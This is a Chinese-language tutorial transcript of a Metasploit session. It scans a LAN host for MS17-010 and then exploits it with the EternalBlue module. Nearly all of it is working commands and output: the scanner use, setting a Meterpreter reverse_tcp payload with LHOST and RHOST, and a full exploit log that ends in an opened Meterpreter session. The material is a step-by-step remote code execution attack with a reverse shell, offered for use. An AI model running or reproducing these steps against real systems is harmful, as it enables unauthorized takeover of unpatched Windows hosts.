1. 查看目标主机是否存在此漏洞：

msf > search ms17-010

Matching Modules
================

Name                                      Disclosure Date  Rank    Description
----                                      ---------------  ----    -----------
auxiliary/scanner/smb/smb_ms17_010                         normal  MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue  2017-03-14       good    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

//搜索ms17-010关键字，可以找到两个工具。第一个是检测是否存在漏洞工具，第二个是***工具

msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.102 //设置目标主机IP地址

rhosts => 192.168.1.102

msf auxiliary(smb_ms17_010) > run

[+] 192.168.1.102:445     - Host is likely VULNERABLE to MS17-010!  (Windows 7 Home Basic 7601 Service Pack 1)  //存在漏洞
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

2.***主机

msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp    //调用反向连接shell

payload => windows/x64/meterpreter/reverse_tcp

msf exploit(ms17_010_eternalblue) > show options   //查看选项

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name                Current Setting  Required  Description
----                ---------------  --------  -----------
GroomAllocations    12               yes       Initial number of times to groom the kernel pool.
GroomDelta          5                yes       The amount to increase the groom count by per try.
MaxExploitAttempts  3                yes       The number of times to retry the exploit.
ProcessName         spoolsv.exe      yes       Process to inject payload into.
RHOST                                yes       The target address
RPORT               445              yes       The target port (TCP)
VerifyArch          true             yes       Check if remote architecture matches exploit Target.
VerifyTarget        true             yes       Check if remote OS matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  ----
0   Windows 7 and Server 2008 R2 (x64) All Service Packs

msf exploit(ms17_010_eternalblue) > set lhost 192.168.1.104     //配置本地主机IP

lhost => 192.168.1.104

msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.102     //配置目标主机IP

rhost => 192.168.1.102

msf exploit(ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.104:4444
[*] 192.168.1.102:445 - Connecting to target for exploitation.
[+] 192.168.1.102:445 - Connection established for exploitation.
[+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.102:445 - CORE raw buffer dump (25 bytes)
[*] 192.168.1.102:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42  Windows 7 Home B
[*] 192.168.1.102:445 - 0x00000010  61 73 69 63 20 36 2e 31 00                       asic 6.1
[+] 192.168.1.102:445 - Target arch selected valid for OS indicated by DCE/RPC reply
[*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.102:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.102:445 - Starting non-paged pool grooming
[+] 192.168.1.102:445 - Sending SMBv2 buffers
[+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.102:445 - Sending final SMBv2 buffers.
[*] 192.168.1.102:445 - Sending last fragment of exploit packet!
[*] 192.168.1.102:445 - Receiving response from exploit packet
[+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.102:445 - Sending egg to corrupted connection.
[*] 192.168.1.102:445 - Triggering free of corrupted buffer.
[*] Sending stage (1189423 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49168) at 2017-06-07 15:23:51 +0800
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >                     //建立meterpreter回话。在该模式下可以运行很多对目标主机的操作。